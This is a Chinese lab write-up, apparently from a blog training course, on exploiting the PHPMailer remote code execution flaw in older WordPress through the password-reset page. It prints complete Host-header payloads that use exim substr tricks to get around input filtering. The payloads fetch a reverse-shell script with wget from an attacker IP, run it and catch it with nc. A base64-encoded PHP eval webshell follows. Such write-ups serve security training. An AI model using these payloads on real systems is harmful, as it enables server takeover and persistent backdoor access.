E048-论坛漏洞分析及利用-针对Wordpress论坛插件实现远程代码执行的探索

课程名称:

E048-论坛漏洞分析及利用-针对Wordpress论坛插件实现远程代码执行的探索

课程分类:

论坛漏洞分析及利用

实验等级:

中级

任务场景:

【任务场景】

        小王接到磐石公司的邀请,对该公司旗下论坛进行渗透测试,已经发现了该论坛的WordPress 使用 PHPMailer 组件向用户发送邮件,该组件版本为5.2.18,存在远程代码执行漏洞,成功利用该漏洞后,渗透者可进行远程任意代码执行。许多知名的 CMS 例如 Wordpress 等都是使用这个组件来发送邮件,影响不可忽视。

任务分析:

【任务分析】

        在没有找到常见的注入漏洞的情况下,可以从浏览器安装的插件入手,例如WordPress <= 4.7.1,PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,该漏洞是WordPress Core 4.6一个未经授权的RCE漏洞。未经授权的攻击者利用漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标的应用服务器完全被攻陷。无需插件或者非标准设置,就能利用该漏洞。攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。进行渗透测试,后门放置,文件管理,资源搜索,命令执行,系统信息收集等多种功能。

预备知识:

【预备知识】

        PHPMailer之前版本5.2.18遭受远程代码执行漏洞,可能导致(远端控制设备)。 mailSend函数在PHPMailer伊斯梅尔运输中,当发送方没有设置属性,可能允许远程攻击者通过额外参数邮件命令,因此执行任意代码通过一个“(反斜杠双引号)制作的地址。出一条GET/POST请求;在服务端,木马针对每条GET/POST请求作出响应,产生一条响应包。

PHPMailer发送邮件时,关键函数的调用关系。

任务实施:

E048-论坛漏洞分析及利用-针对Wordpress论坛插件实现远程代码执行的探索

任务环境说明:

服务器场景:p9_kali-6(用户名:root;密码:toor)

服务器场景操作系统:Kali Linux  192.168.32.123

服务器场景:p9_linux-9(用户名:root;密码:123456)

服务器场景操作系统:Linux  192.168.32.184

---------------------------------------------------------------------------------------------------------------------------------

实战复现:

进入靶机系统,打开命令终端输入命令docker run -i -t --rm -d -p 80:80 medicean/vulapps:w_wordpress_6,启动该漏洞容器,然后使用命令 docker ps列出目前运行的容器,最后使用命令docker exec -it ContainerID /bin/bash进入容器中进行命令行交互。


-i:允许你对容器内的标准输入进行交互

-t:在新容器内指定一个伪终端或终端

–rm:容器退出后立即删除容器。一般情况下,无需指定此参数,指定--rm可以避免浪费空间

medicean/vulapps:w_wordpress_6:以此镜像为基础启动容器

/bin/bash:指定的交互式Shell

        使用渗透机浏览器firefox访问该漏洞的页面,路径位于/wp-login.php?action=lostpassword管理员重置密码页面,此时wordpress调用了phpmailer组件来进行密码重置邮件的发送

        我们进入靶机来看看这个漏洞在wordpress中的漏洞文件class-phpmailer.php,该文件在wp-includes目录下,打开进去查看会发现以下的几行关键代码

        我们发现,phpmailer组件是调用linux系统命令sendmail这个命令来进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。下面我们继续对其进行审计代码发现:

        发现serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。但是由于wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符(空格或TAB)到sendmail命令中。并且,添加括号引入向sendmail中注入参数的方法已经行不通了,若我们想要调用/bin/touch的时候也会出问题,因为host字段中如果出现/,服务器会拒绝我们的请求。但是我们的思路已经出来了,首先的17目标是通过构造语句绕过系统的检测,然后通过该方法尝试写入Webshell后门文件。

        在构造payload语句之前我们先回到靶机操作系统容器中,注意root@后面应该为该容器的编号,否则无法正常操作,进入容器后,使用命令sendmail -be ‘$tod_log’对系统时间进行查看(-be参数为字符串拓展测试命令,该命令可读取一些变量的数据,例如$tod_log文件可显示系统时间)。

        并且,exim4提供了语法参数可用于我们来构造支持参数(sendmail实际为该软件的软链接,它提供了一些函数用来执行一些命令,如字符串截取函数substr、$run系统调用函数。)使用命令sendmail -be ‘${substr{10}{1}{$tod_log}}’通过substr函数截取命令返回结果的第十个字符开始的首个字符,也就是空格。

        同理我们来截取$_spool_directory文件中的/字符串(spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行)。

然后我们来测试使用$run函数调用系统命令来执行

目前为止我们提前准备的工作就完成,开始构造我们payload,下面我们尝试在/root目录下创建hack.txt文件

构造的语句为 cc(any -froot@localhost -be ${run{/bin/touch /root/hack.txt}} null)

 cc(any -froot@localhost -be ${run{/bin/touch /root/hack.txt}} null)
空格==>{substr{10}{1}{$tod_log}}

斜杠==>{substr{0}{1}{$spool_directory}}

转换后为 cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}root${substr{0}{1}{$spool_directory}}hack.txt}} null)

回到kali渗透机中,访问目标站点http://172.16.1.33,检查网络通信是否正常:

进入后台登录界面wp-login.php?action=lostpassword进行查看:

        回到浏览器访问密码重置页面/wp-login.php?action=lostpassword,输入重置用户名为admin,提交拦截的请求,并将host的值修改为我们构造的payload,然后点击Forward按钮来进行提交。

构造的payload:

cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

回到靶机的/tmp目录下进行查看,发现test.txt文件在服务器中创建成功:

在apache根目录下编写远程反弹shell脚本 rce,内容:

重启apache服务器

        命令执行后靶机将通过命令wget从渗透机中获取a.txt并输出到/tmp目录下的rce文件中,执行的Payload为(注意修改payload中渗透机ip地址,来获取a.txt文件):

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 172.16.1.40/a.txt}} null) 

转换过来就是:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.1.40${substr{0}{1}{$spool_directory}}a.txt}} null)

运行tmp目录下的rce反弹shell脚本

执行反弹shell:aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

在反弹主机上用nc监听1345端口,分别按顺序提交payload即可获取到反弹shell

nc -nvv -l -p 1345

扩展:某些机器不一定有/dev/tcp 目录,因为是WordPress,所以肯定有PHP环境,POC的命令完全可以改为:echo "PD9waHAgQGV2YWwoJF9QT1NUWyd6J10pOz8+Cg==" | base64 -d > /tmp/z.php && php -S 0:7777 -t /tmp,详细操作不再累述。

实验结束,关闭虚拟机。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孪生质数-希灵Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值